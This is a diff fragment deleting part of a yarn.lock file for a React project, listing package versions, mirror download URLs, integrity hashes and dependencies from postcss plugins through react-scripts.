-  resolved "https://registry.nlark.com/postcss-normalize/download/postcss-normalize-8.0.1.tgz?cache=0&sync_timestamp=1619704843433&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-normalize%2Fdownload%2Fpostcss-normalize-8.0.1.tgz#90e80a7763d7fdf2da6f2f0f82be832ce4f66776"
-  integrity sha1-kOgKd2PX/fLaby8Pgr6DLOT2Z3Y=
-  dependencies:
-    "@csstools/normalize.css" "^10.1.0"
-    browserslist "^4.6.2"
-    postcss "^7.0.17"
-    postcss-browser-comments "^3.0.0"
-    sanitize.css "^10.0.0"
-
-postcss-ordered-values@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.nlark.com/postcss-ordered-values/download/postcss-ordered-values-4.1.2.tgz#0cf75c820ec7d5c4d280189559e0b571ebac0eee"
-  integrity sha1-DPdcgg7H1cTSgBiVWeC1ceusDu4=
-  dependencies:
-    cssnano-util-get-arguments "^4.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-overflow-shorthand@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-overflow-shorthand/download/postcss-overflow-shorthand-2.0.0.tgz#31ecf350e9c6f6ddc250a78f0c3e111f32dd4c30"
-  integrity sha1-MezzUOnG9t3CUKePDD4RHzLdTDA=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-page-break@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-page-break/download/postcss-page-break-2.0.0.tgz#add52d0e0a528cabe6afee8b46e2abb277df46bf"
-  integrity sha1-rdUtDgpSjKvmr+6LRuKrsnffRr8=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-place@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-place/download/postcss-place-4.0.1.tgz#e9f39d33d2dc584e46ee1db45adb77ca9d1dcc62"
-  integrity sha1-6fOdM9LcWE5G7h20Wtt3yp0dzGI=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-values-parser "^2.0.0"
-
-postcss-preset-env@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.npm.taobao.org/postcss-preset-env/download/postcss-preset-env-6.7.0.tgz#c34ddacf8f902383b35ad1e030f178f4cdf118a5"
-  integrity sha1-w03az4+QI4OzWtHgMPF49M3xGKU=
-  dependencies:
-    autoprefixer "^9.6.1"
-    browserslist "^4.6.4"
-    caniuse-lite "^1.0.30000981"
-    css-blank-pseudo "^0.1.4"
-    css-has-pseudo "^0.10.0"
-    css-prefers-color-scheme "^3.1.1"
-    cssdb "^4.4.0"
-    postcss "^7.0.17"
-    postcss-attribute-case-insensitive "^4.0.1"
-    postcss-color-functional-notation "^2.0.1"
-    postcss-color-gray "^5.0.0"
-    postcss-color-hex-alpha "^5.0.3"
-    postcss-color-mod-function "^3.0.3"
-    postcss-color-rebeccapurple "^4.0.1"
-    postcss-custom-media "^7.0.8"
-    postcss-custom-properties "^8.0.11"
-    postcss-custom-selectors "^5.1.2"
-    postcss-dir-pseudo-class "^5.0.0"
-    postcss-double-position-gradients "^1.0.0"
-    postcss-env-function "^2.0.2"
-    postcss-focus-visible "^4.0.0"
-    postcss-focus-within "^3.0.0"
-    postcss-font-variant "^4.0.0"
-    postcss-gap-properties "^2.0.0"
-    postcss-image-set-function "^3.0.1"
-    postcss-initial "^3.0.0"
-    postcss-lab-function "^2.0.1"
-    postcss-logical "^3.0.0"
-    postcss-media-minmax "^4.0.0"
-    postcss-nesting "^7.0.0"
-    postcss-overflow-shorthand "^2.0.0"
-    postcss-page-break "^2.0.0"
-    postcss-place "^4.0.1"
-    postcss-pseudo-class-any-link "^6.0.0"
-    postcss-replace-overflow-wrap "^3.0.0"
-    postcss-selector-matches "^4.0.0"
-    postcss-selector-not "^4.0.0"
-
-postcss-pseudo-class-any-link@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-pseudo-class-any-link/download/postcss-pseudo-class-any-link-6.0.0.tgz#2ed3eed393b3702879dec4a87032b210daeb04d1"
-  integrity sha1-LtPu05OzcCh53sSocDKyENrrBNE=
-  dependencies:
-    postcss "^7.0.2"
-    postcss-selector-parser "^5.0.0-rc.3"
-
-postcss-reduce-initial@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-reduce-initial/download/postcss-reduce-initial-4.0.3.tgz#7fd42ebea5e9c814609639e2c2e84ae270ba48df"
-  integrity sha1-f9QuvqXpyBRgljniwuhK4nC6SN8=
-  dependencies:
-    browserslist "^4.0.0"
-    caniuse-api "^3.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-
-postcss-reduce-transforms@^4.0.2:
-  version "4.0.2"
-  resolved "https://registry.nlark.com/postcss-reduce-transforms/download/postcss-reduce-transforms-4.0.2.tgz#17efa405eacc6e07be3414a5ca2d1074681d4e29"
-  integrity sha1-F++kBerMbge+NBSlyi0QdGgdTik=
-  dependencies:
-    cssnano-util-get-match "^4.0.0"
-    has "^1.0.0"
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-
-postcss-replace-overflow-wrap@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/postcss-replace-overflow-wrap/download/postcss-replace-overflow-wrap-3.0.0.tgz#61b360ffdaedca84c7c918d2b0f0d0ea559ab01c"
-  integrity sha1-YbNg/9rtyoTHyRjSsPDQ6lWasBw=
-  dependencies:
-    postcss "^7.0.2"
-
-postcss-safe-parser@5.0.2:
-  version "5.0.2"
-  resolved "https://registry.npm.taobao.org/postcss-safe-parser/download/postcss-safe-parser-5.0.2.tgz#459dd27df6bc2ba64608824ba39e45dacf5e852d"
-  integrity sha1-RZ3Sffa8K6ZGCIJLo55F2s9ehS0=
-  dependencies:
-    postcss "^8.1.0"
-
-postcss-selector-matches@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/postcss-selector-matches/download/postcss-selector-matches-4.0.0.tgz#71c8248f917ba2cc93037c9637ee09c64436fcff"
-  integrity sha1-ccgkj5F7osyTA3yWN+4JxkQ2/P8=
-  dependencies:
-    balanced-match "^1.0.0"
-    postcss "^7.0.2"
-
-postcss-selector-not@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-selector-not/download/postcss-selector-not-4.0.1.tgz#263016eef1cf219e0ade9a913780fc1f48204cbf"
-  integrity sha1-JjAW7vHPIZ4K3pqRN4D8H0ggTL8=
-  dependencies:
-    balanced-match "^1.0.0"
-    postcss "^7.0.2"
-
-postcss-selector-parser@^3.0.0:
-  version "3.1.2"
-  resolved "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-3.1.2.tgz#b310f5c4c0fdaf76f94902bbaa30db6aa84f5270"
-  integrity sha1-sxD1xMD9r3b5SQK7qjDbaqhPUnA=
-  dependencies:
-    dot-prop "^5.2.0"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss-selector-parser@^5.0.0-rc.3, postcss-selector-parser@^5.0.0-rc.4:
-  version "5.0.0"
-  resolved "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-5.0.0.tgz#249044356697b33b64f1a8f7c80922dddee7195c"
-  integrity sha1-JJBENWaXsztk8aj3yAki3d7nGVw=
-  dependencies:
-    cssesc "^2.0.0"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss-selector-parser@^6.0.0, postcss-selector-parser@^6.0.2:
-  version "6.0.6"
-  resolved "https://registry.nlark.com/postcss-selector-parser/download/postcss-selector-parser-6.0.6.tgz#2c5bba8174ac2f6981ab631a42ab0ee54af332ea"
-  integrity sha1-LFu6gXSsL2mBq2MaQqsO5UrzMuo=
-  dependencies:
-    cssesc "^3.0.0"
-    util-deprecate "^1.0.2"
-
-postcss-svgo@^4.0.3:
-  version "4.0.3"
-  resolved "https://registry.nlark.com/postcss-svgo/download/postcss-svgo-4.0.3.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpostcss-svgo%2Fdownload%2Fpostcss-svgo-4.0.3.tgz#343a2cdbac9505d416243d496f724f38894c941e"
-  integrity sha1-NDos26yVBdQWJD1Jb3JPOIlMlB4=
-  dependencies:
-    postcss "^7.0.0"
-    postcss-value-parser "^3.0.0"
-    svgo "^1.0.0"
-
-postcss-unique-selectors@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/postcss-unique-selectors/download/postcss-unique-selectors-4.0.1.tgz#9446911f3289bfd64c6d680f073c03b1f9ee4bac"
-  integrity sha1-lEaRHzKJv9ZMbWgPBzwDsfnuS6w=
-  dependencies:
-    alphanum-sort "^1.0.0"
-    postcss "^7.0.0"
-    uniqs "^2.0.0"
-
-postcss-value-parser@^3.0.0:
-  version "3.3.1"
-  resolved "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-3.3.1.tgz#9ff822547e2893213cf1c30efa51ac5fd1ba8281"
-  integrity sha1-n/giVH4okyE88cMO+lGsX9G6goE=
-
-postcss-value-parser@^4.0.2, postcss-value-parser@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.npm.taobao.org/postcss-value-parser/download/postcss-value-parser-4.1.0.tgz#443f6a20ced6481a2bda4fa8532a6e55d789a2cb"
-  integrity sha1-RD9qIM7WSBor2k+oUypuVdeJoss=
-
-postcss-values-parser@^2.0.0, postcss-values-parser@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/postcss-values-parser/download/postcss-values-parser-2.0.1.tgz#da8b472d901da1e205b47bdc98637b9e9e550e5f"
-  integrity sha1-2otHLZAdoeIFtHvcmGN7np5VDl8=
-  dependencies:
-    flatten "^1.0.2"
-    indexes-of "^1.0.1"
-    uniq "^1.0.1"
-
-postcss@7.0.21:
-  version "7.0.21"
-  resolved "https://registry.nlark.com/postcss/download/postcss-7.0.21.tgz#06bb07824c19c2021c5d056d5b10c35b989f7e17"
-  integrity sha1-BrsHgkwZwgIcXQVtWxDDW5iffhc=
-  dependencies:
-    chalk "^2.4.2"
-    source-map "^0.6.1"
-    supports-color "^6.1.0"
-
-postcss@^7, postcss@^7.0.0, postcss@^7.0.1, postcss@^7.0.14, postcss@^7.0.17, postcss@^7.0.2, postcss@^7.0.26, postcss@^7.0.27, postcss@^7.0.32, postcss@^7.0.5, postcss@^7.0.6:
-  version "7.0.35"
-  resolved "https://registry.nlark.com/postcss/download/postcss-7.0.35.tgz#d2be00b998f7f211d8a276974079f2e92b970e24"
-  integrity sha1-0r4AuZj38hHYonaXQHny6SuXDiQ=
-  dependencies:
-    chalk "^2.4.2"
-    source-map "^0.6.1"
-    supports-color "^6.1.0"
-
-postcss@^8.1.0:
-  version "8.3.0"
-  resolved "https://registry.nlark.com/postcss/download/postcss-8.3.0.tgz#b1a713f6172ca427e3f05ef1303de8b65683325f"
-  integrity sha1-sacT9hcspCfj8F7xMD3otlaDMl8=
-  dependencies:
-    colorette "^1.2.2"
-    nanoid "^3.1.23"
-    source-map-js "^0.6.2"
-
-prelude-ls@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.npm.taobao.org/prelude-ls/download/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
-  integrity sha1-3rxkidem5rDnYRiIzsiAM30xY5Y=
-
-prelude-ls@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/prelude-ls/download/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
-  integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
-
-prepend-http@^1.0.0:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/prepend-http/download/prepend-http-1.0.4.tgz#d4f4562b0ce3696e41ac52d0e002e57a635dc6dc"
-  integrity sha1-1PRWKwzjaW5BrFLQ4ALlemNdxtw=
-
-pretty-bytes@^5.3.0:
-  version "5.6.0"
-  resolved "https://registry.npm.taobao.org/pretty-bytes/download/pretty-bytes-5.6.0.tgz?cache=0&sync_timestamp=1613916344909&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpretty-bytes%2Fdownload%2Fpretty-bytes-5.6.0.tgz#356256f643804773c82f64723fe78c92c62beaeb"
-  integrity sha1-NWJW9kOAR3PIL2RyP+eMksYr6us=
-
-pretty-error@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.npm.taobao.org/pretty-error/download/pretty-error-2.1.2.tgz?cache=0&sync_timestamp=1609589403098&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpretty-error%2Fdownload%2Fpretty-error-2.1.2.tgz#be89f82d81b1c86ec8fdfbc385045882727f93b6"
-  integrity sha1-von4LYGxyG7I/fvDhQRYgnJ/k7Y=
-  dependencies:
-    lodash "^4.17.20"
-    renderkid "^2.0.4"
-
-pretty-format@^26.0.0, pretty-format@^26.6.0, pretty-format@^26.6.2:
-  version "26.6.2"
-  resolved "https://registry.nlark.com/pretty-format/download/pretty-format-26.6.2.tgz?cache=0&sync_timestamp=1622290311384&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fpretty-format%2Fdownload%2Fpretty-format-26.6.2.tgz#e35c2705f14cb7fe2fe94fa078345b444120fc93"
-  integrity sha1-41wnBfFMt/4v6U+geDRbREEg/JM=
-  dependencies:
-    "@jest/types" "^26.6.2"
-    ansi-regex "^5.0.0"
-    ansi-styles "^4.0.0"
-    react-is "^17.0.1"
-
-process-nextick-args@~2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/process-nextick-args/download/process-nextick-args-2.0.1.tgz#7820d9b16120cc55ca9ae7792680ae7dba6d7fe2"
-  integrity sha1-eCDZsWEgzFXKmud5JoCufbptf+I=
-
-process@^0.11.10:
-  version "0.11.10"
-  resolved "https://registry.npm.taobao.org/process/download/process-0.11.10.tgz#7332300e840161bda3e69a1d1d91a7d4bc16f182"
-  integrity sha1-czIwDoQBYb2j5podHZGn1LwW8YI=
-
-progress@^2.0.0:
-  version "2.0.3"
-  resolved "https://registry.npm.taobao.org/progress/download/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
-  integrity sha1-foz42PW48jnBvGi+tOt4Vn1XLvg=
-
-promise-inflight@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/promise-inflight/download/promise-inflight-1.0.1.tgz#98472870bf228132fcbdd868129bad12c3c029e3"
-  integrity sha1-mEcocL8igTL8vdhoEputEsPAKeM=
-
-promise@^8.1.0:
-  version "8.1.0"
-  resolved "https://registry.npm.taobao.org/promise/download/promise-8.1.0.tgz#697c25c3dfe7435dd79fcd58c38a135888eaf05e"
-  integrity sha1-aXwlw9/nQ13Xn81Yw4oTWIjq8F4=
-  dependencies:
-    asap "~2.0.6"
-
-prompts@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.npm.taobao.org/prompts/download/prompts-2.4.0.tgz#4aa5de0723a231d1ee9121c40fdf663df73f61d7"
-  integrity sha1-SqXeByOiMdHukSHED99mPfc/Ydc=
-  dependencies:
-    kleur "^3.0.3"
-    sisteransi "^1.0.5"
-
-prompts@^2.0.1:
-  version "2.4.1"
-  resolved "https://registry.npm.taobao.org/prompts/download/prompts-2.4.1.tgz#befd3b1195ba052f9fd2fde8a486c4e82ee77f61"
-  integrity sha1-vv07EZW6BS+f0v3opIbE6C7nf2E=
-  dependencies:
-    kleur "^3.0.3"
-    sisteransi "^1.0.5"
-
-prop-types-extra@^1.1.0:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/prop-types-extra/-/prop-types-extra-1.1.1.tgz#58c3b74cbfbb95d304625975aa2f0848329a010b"
-  integrity sha512-59+AHNnHYCdiC+vMwY52WmvP5dM3QLeoumYuEyceQDi9aEhtwN9zIQ2ZNo25sMyXnbh32h+P1ezDsUpUH3JAew==
-  dependencies:
-    react-is "^16.3.2"
-    warning "^4.0.0"
-
-prop-types@^15.6.2, prop-types@^15.7.2:
-  version "15.7.2"
-  resolved "https://registry.npm.taobao.org/prop-types/download/prop-types-15.7.2.tgz#52c41e75b8c87e72b9d9360e0206b99dcbffa6c5"
-  integrity sha1-UsQedbjIfnK52TYOAga5ncv/psU=
-  dependencies:
-    loose-envify "^1.4.0"
-    object-assign "^4.1.1"
-    react-is "^16.8.1"
-
-proxy-addr@~2.0.5:
-  version "2.0.7"
-  resolved "https://registry.nlark.com/proxy-addr/download/proxy-addr-2.0.7.tgz#f19fe69ceab311eeb94b42e70e8c2070f9ba1025"
-  integrity sha1-8Z/mnOqzEe65S0LnDowgcPm6ECU=
-  dependencies:
-    forwarded "0.2.0"
-    ipaddr.js "1.9.1"
-
-prr@~1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/prr/download/prr-1.0.1.tgz#d3fc114ba06995a45ec6893f484ceb1d78f5f476"
-  integrity sha1-0/wRS6BplaRexok/SEzrHXj19HY=
-
-psl@^1.1.33:
-  version "1.8.0"
-  resolved "https://registry.npm.taobao.org/psl/download/psl-1.8.0.tgz#9326f8bcfb013adcc005fdff056acce020e51c24"
-  integrity sha1-kyb4vPsBOtzABf3/BWrM4CDlHCQ=
-
-public-encrypt@^4.0.0:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/public-encrypt/download/public-encrypt-4.0.3.tgz#4fcc9d77a07e48ba7527e7cbe0de33d0701331e0"
-  integrity sha1-T8ydd6B+SLp1J+fL4N4z0HATMeA=
-  dependencies:
-    bn.js "^4.1.0"
-    browserify-rsa "^4.0.0"
-    create-hash "^1.1.0"
-    parse-asn1 "^5.0.0"
-    randombytes "^2.0.1"
-    safe-buffer "^5.1.2"
-
-pump@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/pump/download/pump-2.0.1.tgz#12399add6e4cf7526d973cbc8b5ce2e2908b3909"
-  integrity sha1-Ejma3W5M91Jtlzy8i1zi4pCLOQk=
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pump@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/pump/download/pump-3.0.0.tgz#b4a2116815bde2f4e1ea602354e8c75565107a64"
-  integrity sha1-tKIRaBW94vTh6mAjVOjHVWUQemQ=
-  dependencies:
-    end-of-stream "^1.1.0"
-    once "^1.3.1"
-
-pumpify@^1.3.3:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/pumpify/download/pumpify-1.5.1.tgz#36513be246ab27570b1a374a5ce278bfd74370ce"
-  integrity sha1-NlE74karJ1cLGjdKXOJ4v9dDcM4=
-  dependencies:
-    duplexify "^3.6.0"
-    inherits "^2.0.3"
-    pump "^2.0.0"
-
-punycode@1.3.2:
-  version "1.3.2"
-  resolved "https://registry.npm.taobao.org/punycode/download/punycode-1.3.2.tgz#9653a036fb7c1ee42342f2325cceefea3926c48d"
-  integrity sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=
-
-punycode@^1.2.4:
-  version "1.4.1"
-  resolved "https://registry.npm.taobao.org/punycode/download/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
-  integrity sha1-wNWmOycYgArY4esPpSachN1BhF4=
-
-punycode@^2.1.0, punycode@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/punycode/download/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
-  integrity sha1-tYsBCsQMIsVldhbI0sLALHv0eew=
-
-q@^1.1.2:
-  version "1.5.1"
-  resolved "https://registry.npm.taobao.org/q/download/q-1.5.1.tgz#7e32f75b41381291d04611f1bf14109ac00651d7"
-  integrity sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=
-
-qs@6.7.0:
-  version "6.7.0"
-  resolved "https://registry.npm.taobao.org/qs/download/qs-6.7.0.tgz#41dc1a015e3d581f1621776be31afb2876a9b1bc"
-  integrity sha1-QdwaAV49WB8WIXdr4xr7KHapsbw=
-
-query-string@^4.1.0:
-  version "4.3.4"
-  resolved "https://registry.npm.taobao.org/query-string/download/query-string-4.3.4.tgz#bbb693b9ca915c232515b228b1a02b609043dbeb"
-  integrity sha1-u7aTucqRXCMlFbIosaArYJBD2+s=
-  dependencies:
-    object-assign "^4.1.0"
-    strict-uri-encode "^1.0.0"
-
-querystring-es3@^0.2.0:
-  version "0.2.1"
-  resolved "https://registry.npm.taobao.org/querystring-es3/download/querystring-es3-0.2.1.tgz#9ec61f79049875707d69414596fd907a4d711e73"
-  integrity sha1-nsYfeQSYdXB9aUFFlv2Qek1xHnM=
-
-querystring@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.npm.taobao.org/querystring/download/querystring-0.2.0.tgz#b209849203bb25df820da756e747005878521620"
-  integrity sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=
-
-querystring@^0.2.0:
-  version "0.2.1"
-  resolved "https://registry.npm.taobao.org/querystring/download/querystring-0.2.1.tgz#40d77615bb09d16902a85c3e38aa8b5ed761c2dd"
-  integrity sha1-QNd2FbsJ0WkCqFw+OKqLXtdhwt0=
-
-querystringify@^2.1.1:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/querystringify/download/querystringify-2.2.0.tgz#3345941b4153cb9d082d8eee4cda2016a9aef7f6"
-  integrity sha1-M0WUG0FTy50ILY7uTNogFqmu9/Y=
-
-queue-microtask@^1.2.2:
-  version "1.2.3"
-  resolved "https://registry.npm.taobao.org/queue-microtask/download/queue-microtask-1.2.3.tgz?cache=0&sync_timestamp=1616391471040&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fqueue-microtask%2Fdownload%2Fqueue-microtask-1.2.3.tgz#4929228bbc724dfac43e0efb058caf7b6cfb6243"
-  integrity sha1-SSkii7xyTfrEPg77BYyve2z7YkM=
-
-raf@^3.4.1:
-  version "3.4.1"
-  resolved "https://registry.npm.taobao.org/raf/download/raf-3.4.1.tgz#0742e99a4a6552f445d73e3ee0328af0ff1ede39"
-  integrity sha1-B0LpmkplUvRF1z4+4DKK8P8e3jk=
-  dependencies:
-    performance-now "^2.1.0"
-
-randombytes@^2.0.0, randombytes@^2.0.1, randombytes@^2.0.5, randombytes@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/randombytes/download/randombytes-2.1.0.tgz#df6f84372f0270dc65cdf6291349ab7a473d4f2a"
-  integrity sha1-32+ENy8CcNxlzfYpE0mrekc9Tyo=
-  dependencies:
-    safe-buffer "^5.1.0"
-
-randomfill@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.npm.taobao.org/randomfill/download/randomfill-1.0.4.tgz#c92196fc86ab42be983f1bf31778224931d61458"
-  integrity sha1-ySGW/IarQr6YPxvzF3giSTHWFFg=
-  dependencies:
-    randombytes "^2.0.5"
-    safe-buffer "^5.1.0"
-
-range-parser@^1.2.1, range-parser@~1.2.1:
-  version "1.2.1"
-  resolved "https://registry.npm.taobao.org/range-parser/download/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031"
-  integrity sha1-PPNwI9GZ4cJNGlW4SADC8+ZGgDE=
-
-raw-body@2.4.0:
-  version "2.4.0"
-  resolved "https://registry.npm.taobao.org/raw-body/download/raw-body-2.4.0.tgz#a1ce6fb9c9bc356ca52e89256ab59059e13d0332"
-  integrity sha1-oc5vucm8NWylLoklarWQWeE9AzI=
-  dependencies:
-    bytes "3.1.0"
-    http-errors "1.7.2"
-    iconv-lite "0.4.24"
-    unpipe "1.0.0"
-
-react-app-polyfill@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/react-app-polyfill/download/react-app-polyfill-2.0.0.tgz#a0bea50f078b8a082970a9d853dc34b6dcc6a3cf"
-  integrity sha1-oL6lDweLiggpcKnYU9w0ttzGo88=
-  dependencies:
-    core-js "^3.6.5"
-    object-assign "^4.1.1"
-    promise "^8.1.0"
-    raf "^3.4.1"
-    regenerator-runtime "^0.13.7"
-    whatwg-fetch "^3.4.1"
-
-react-bootstrap@^1.6.1:
-  version "1.6.1"
-  resolved "https://registry.yarnpkg.com/react-bootstrap/-/react-bootstrap-1.6.1.tgz#c5493c028ede885826b72eb31e66f6f0a52ab007"
-  integrity sha512-ojEPQ6OtyIMdLg0Smofk+85PKN6MLKQX3bU0Vwmok/4yNa8DQ2vCGhO2IgHJvT+ERQZ4X+gAQcdn6msAHSwLBg==
-  dependencies:
-    "@babel/runtime" "^7.14.0"
-    "@restart/context" "^2.1.4"
-    "@restart/hooks" "^0.3.26"
-    "@types/invariant" "^2.2.33"
-    "@types/prop-types" "^15.7.3"
-    "@types/react" ">=16.14.8"
-    "@types/react-transition-group" "^4.4.1"
-    "@types/warning" "^3.0.0"
-    classnames "^2.3.1"
-    dom-helpers "^5.2.1"
-    invariant "^2.2.4"
-    prop-types "^15.7.2"
-    prop-types-extra "^1.1.0"
-    react-overlays "^5.0.1"
-    react-transition-group "^4.4.1"
-    uncontrollable "^7.2.1"
-    warning "^4.0.3"
-
-react-dev-utils@^11.0.3:
-  version "11.0.4"
-  resolved "https://registry.npm.taobao.org/react-dev-utils/download/react-dev-utils-11.0.4.tgz#a7ccb60257a1ca2e0efe7a83e38e6700d17aa37a"
-  integrity sha1-p8y2Alehyi4O/nqD445nANF6o3o=
-  dependencies:
-    "@babel/code-frame" "7.10.4"
-    address "1.1.2"
-    browserslist "4.14.2"
-    chalk "2.4.2"
-    cross-spawn "7.0.3"
-    detect-port-alt "1.1.6"
-    escape-string-regexp "2.0.0"
-    filesize "6.1.0"
-    find-up "4.1.0"
-    fork-ts-checker-webpack-plugin "4.1.6"
-    global-modules "2.0.0"
-    globby "11.0.1"
-    gzip-size "5.1.1"
-    immer "8.0.1"
-    is-root "2.1.0"
-    loader-utils "2.0.0"
-    open "^7.0.2"
-    pkg-up "3.1.0"
-    prompts "2.4.0"
-    react-error-overlay "^6.0.9"
-    recursive-readdir "2.2.2"
-    shell-quote "1.7.2"
-    strip-ansi "6.0.0"
-    text-table "0.2.0"
-
-react-dom@^17.0.2:
-  version "17.0.2"
-  resolved "https://registry.nlark.com/react-dom/download/react-dom-17.0.2.tgz#ecffb6845e3ad8dbfcdc498f0d0a939736502c23"
-  integrity sha1-7P+2hF462Nv83EmPDQqTlzZQLCM=
-  dependencies:
-    loose-envify "^1.1.0"
-    object-assign "^4.1.1"
-    scheduler "^0.20.2"
-
-react-error-overlay@^6.0.9:
-  version "6.0.9"
-  resolved "https://registry.npm.taobao.org/react-error-overlay/download/react-error-overlay-6.0.9.tgz#3c743010c9359608c375ecd6bc76f35d93995b0a"
-  integrity sha1-PHQwEMk1lgjDdezWvHbzXZOZWwo=
-
-react-is@^16.3.2, react-is@^16.8.1:
-  version "16.13.1"
-  resolved "https://registry.nlark.com/react-is/download/react-is-16.13.1.tgz#789729a4dc36de2999dc156dd6c1d9c18cea56a4"
-  integrity sha1-eJcppNw23imZ3BVt1sHZwYzqVqQ=
-
-react-is@^17.0.1:
-  version "17.0.2"
-  resolved "https://registry.nlark.com/react-is/download/react-is-17.0.2.tgz#e691d4a8e9c789365655539ab372762b0efb54f0"
-  integrity sha1-5pHUqOnHiTZWVVOas3J2Kw77VPA=
-
-react-lifecycles-compat@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz#4f1a273afdfc8f3488a8c516bfda78f872352362"
-  integrity sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==
-
-react-overlays@^5.0.1:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/react-overlays/-/react-overlays-5.0.1.tgz#7e2c3cd3c0538048b0b7451d203b1289c561b7f2"
-  integrity sha512-plwUJieTBbLSrgvQ4OkkbTD/deXgxiJdNuKzo6n1RWE3OVnQIU5hffCGS/nvIuu6LpXFs2majbzaXY8rcUVdWA==
-  dependencies:
-    "@babel/runtime" "^7.13.8"
-    "@popperjs/core" "^2.8.6"
-    "@restart/hooks" "^0.3.26"
-    "@types/warning" "^3.0.0"
-    dom-helpers "^5.2.0"
-    prop-types "^15.7.2"
-    uncontrollable "^7.2.1"
-    warning "^4.0.3"
-
-react-refresh@^0.8.3:
-  version "0.8.3"
-  resolved "https://registry.nlark.com/react-refresh/download/react-refresh-0.8.3.tgz#721d4657672d400c5e3c75d063c4a85fb2d5d68f"
-  integrity sha1-ch1GV2ctQAxePHXQY8SoX7LV1o8=
-
-react-scripts@4.0.3:
-  version "4.0.3"
-  resolved "https://registry.npm.taobao.org/react-scripts/download/react-scripts-4.0.3.tgz?cache=0&sync_timestamp=1614018572465&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Freact-scripts%2Fdownload%2Freact-scripts-4.0.3.tgz#b1cafed7c3fa603e7628ba0f187787964cb5d345"
-  integrity sha1-scr+18P6YD52KLoPGHeHlky100U=
-  dependencies:
-    "@babel/core" "7.12.3"
-    "@pmmmwh/react-refresh-webpack-plugin" "0.4.3"
-    "@svgr/webpack" "5.5.0"
-    "@typescript-eslint/eslint-plugin" "^4.5.0"
-    "@typescript-eslint/parser" "^4.5.0"
-    babel-eslint "^10.1.0"
-    babel-jest "^26.6.0"
-    babel-loader "8.1.0"
-    babel-plugin-named-asset-import "^0.3.7"
-    babel-preset-react-app "^10.0.0"
-    bfj "^7.0.2"
-    camelcase "^6.1.0"
-    case-sensitive-paths-webpack-plugin "2.3.0"
-    css-loader "4.3.0"
-    dotenv "8.2.0"
-    dotenv-expand "5.1.0"
-    eslint "^7.11.0"
-    eslint-config-react-app "^6.0.0"
-    eslint-plugin-flowtype "^5.2.0"
